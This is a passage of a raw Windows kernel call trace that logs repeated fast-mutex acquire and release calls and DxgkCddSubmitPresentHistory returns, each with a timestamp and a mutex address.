ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000160c120) [0123.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.983] DxgkCddSubmitPresentHistory () returned 0x0 [0123.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.984] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.984] DxgkCddSubmitPresentHistory () returned 0x0 [0123.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.999] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.999] DxgkCddSubmitPresentHistory () returned 0x0 [0124.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.032] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.032] DxgkCddSubmitPresentHistory () returned 0x0 [0124.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.032] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.032] DxgkCddSubmitPresentHistory () returned 0x0 [0124.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.046] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000160c120) [0124.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.046] DxgkCddSubmitPresentHistory () returned 0x0 [0124.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.046] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.046] DxgkCddSubmitPresentHistory () returned 0x0 [0124.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.062] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.062] DxgkCddSubmitPresentHistory () returned 0x0 [0124.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.093] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.093] DxgkCddSubmitPresentHistory () returned 0x0 [0124.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.093] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.093] DxgkCddSubmitPresentHistory () returned 0x0 [0124.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.125] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000160c120) [0124.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.125] DxgkCddSubmitPresentHistory () returned 0x0 [0124.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.125] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.125] DxgkCddSubmitPresentHistory () returned 0x0 [0124.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.161] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.161] DxgkCddSubmitPresentHistory () returned 0x0 [0124.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.161] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.161] DxgkCddSubmitPresentHistory () returned 0x0 [0124.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.208] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0124.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.208] DxgkCddSubmitPresentHistory () returned 0x0 [0124.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.208] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.208] DxgkCddSubmitPresentHistory () returned 0x0 [0124.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.230] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.230] DxgkCddSubmitPresentHistory () returned 0x0 [0124.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.230] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.230] DxgkCddSubmitPresentHistory () returned 0x0 [0124.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.289] DxgkCddSubmitPresentHistory () returned 0x0 [0124.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.297] DxgkCddSubmitPresentHistory () returned 0x0 [0124.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.297] DxgkCddSubmitPresentHistory () returned 0x0 [0124.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.330] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0124.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.330] DxgkCddSubmitPresentHistory () returned 0x0 [0124.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.330] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.330] DxgkCddSubmitPresentHistory () returned 0x0 [0124.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.343] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.343] DxgkCddSubmitPresentHistory () returned 0x0 [0124.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.343] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.343] DxgkCddSubmitPresentHistory () returned 0x0 [0124.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.379] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.379] DxgkCddSubmitPresentHistory () returned 0x0 [0124.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.407] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.407] DxgkCddSubmitPresentHistory () returned 0x0 [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.408] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.408] DxgkCddSubmitPresentHistory () returned 0x0 [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.408] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.408] DxgkCddSubmitPresentHistory () returned 0x0 [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.439] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.439] DxgkCddSubmitPresentHistory () returned 0x0 [0124.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.452] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0124.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.452] DxgkCddSubmitPresentHistory () returned 0x0 [0124.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.452] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.452] DxgkCddSubmitPresentHistory () returned 0x0 [0124.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.476] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.476] DxgkCddSubmitPresentHistory () returned 0x0 [0124.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.477] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.477] DxgkCddSubmitPresentHistory () returned 0x0 [0124.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.499] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.499] DxgkCddSubmitPresentHistory () returned 0x0 [0124.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.515] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0124.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.515] DxgkCddSubmitPresentHistory () returned 0x0 [0124.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.515] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.515] DxgkCddSubmitPresentHistory () returned 0x0 [0124.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.551] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0124.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.551] DxgkCddSubmitPresentHistory () returned 0x0 [0124.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.551] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.551] DxgkCddSubmitPresentHistory () returned 0x0 [0124.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.589] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0124.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0124.589] DxgkCddSubmitPresentHistory () returned 0x0 [0124.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.589] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.589] DxgkCddSubmitPresentHistory () returned 0x0 [0124.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.664] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.664] DxgkCddSubmitPresentHistory () returned 0x0 [0124.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.671] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.672] DxgkCddSubmitPresentHistory () returned 0x0 [0124.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.710] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.710] DxgkCddSubmitPresentHistory () returned 0x0 [0124.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.743] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.743] DxgkCddSubmitPresentHistory () returned 0x0 [0124.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.750] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.750] DxgkCddSubmitPresentHistory () returned 0x0 [0124.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.766] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.766] DxgkCddSubmitPresentHistory () returned 0x0 [0124.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.797] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.797] DxgkCddSubmitPresentHistory () returned 0x0 [0124.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.825] DxgkCddSubmitPresentHistory () returned 0x0 [0124.840] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.840] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.841] DxgkCddSubmitPresentHistory () returned 0x0 [0124.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.877] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.877] DxgkCddSubmitPresentHistory () returned 0x0 [0124.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.893] DxgkCddSubmitPresentHistory () returned 0x0 [0124.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.925] DxgkCddSubmitPresentHistory () returned 0x0 [0124.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.941] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.941] DxgkCddSubmitPresentHistory () returned 0x0 [0124.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.973] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0124.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.973] DxgkCddSubmitPresentHistory () returned 0x0 [0125.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.005] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0125.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.005] DxgkCddSubmitPresentHistory () returned 0x0 [0125.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.037] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0125.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.037] DxgkCddSubmitPresentHistory () returned 0x0 [0125.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.053] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0125.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.053] DxgkCddSubmitPresentHistory () returned 0x0 [0125.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.069] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0125.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.069] DxgkCddSubmitPresentHistory () returned 0x0 [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.061] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.061] DxgkCddSubmitPresentHistory () returned 0x0 [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.061] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0126.061] DxgkCddSubmitPresentHistory () returned 0x0 [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.061] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.061] DxgkCddSubmitPresentHistory () returned 0x0 [0126.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.082] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.083] DxgkCddSubmitPresentHistory () returned 0x0 [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.098] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.098] DxgkCddSubmitPresentHistory () returned 0x0 [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.099] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.099] DxgkCddSubmitPresentHistory () returned 0x0 [0126.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.130] DxgkCddSubmitPresentHistory () returned 0x0 [0126.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.145] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.153] DxgkCddSubmitPresentHistory () returned 0x0 [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.153] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.153] DxgkCddSubmitPresentHistory () returned 0x0 [0126.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.169] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.169] DxgkCddSubmitPresentHistory () returned 0x0 [0126.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.187] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.187] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.187] DxgkCddSubmitPresentHistory () returned 0x0 [0126.202] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.202] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.202] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.202] DxgkCddSubmitPresentHistory () returned 0x0 [0126.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.234] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.234] DxgkCddSubmitPresentHistory () returned 0x0 [0126.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.332] DxgkCddSubmitPresentHistory () returned 0x0 [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.427] DxgkCddSubmitPresentHistory () returned 0x0 [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000134fb80) [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.427] DxgkCddSubmitPresentHistory () returned 0x0 [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.427] DxgkCddSubmitPresentHistory () returned 0x0 [0126.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.450] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.450] DxgkCddSubmitPresentHistory () returned 0x0 [0126.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.487] DxgkCddSubmitPresentHistory () returned 0x0 [0126.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.488] DxgkCddSubmitPresentHistory () returned 0x0 [0126.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.517] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.517] 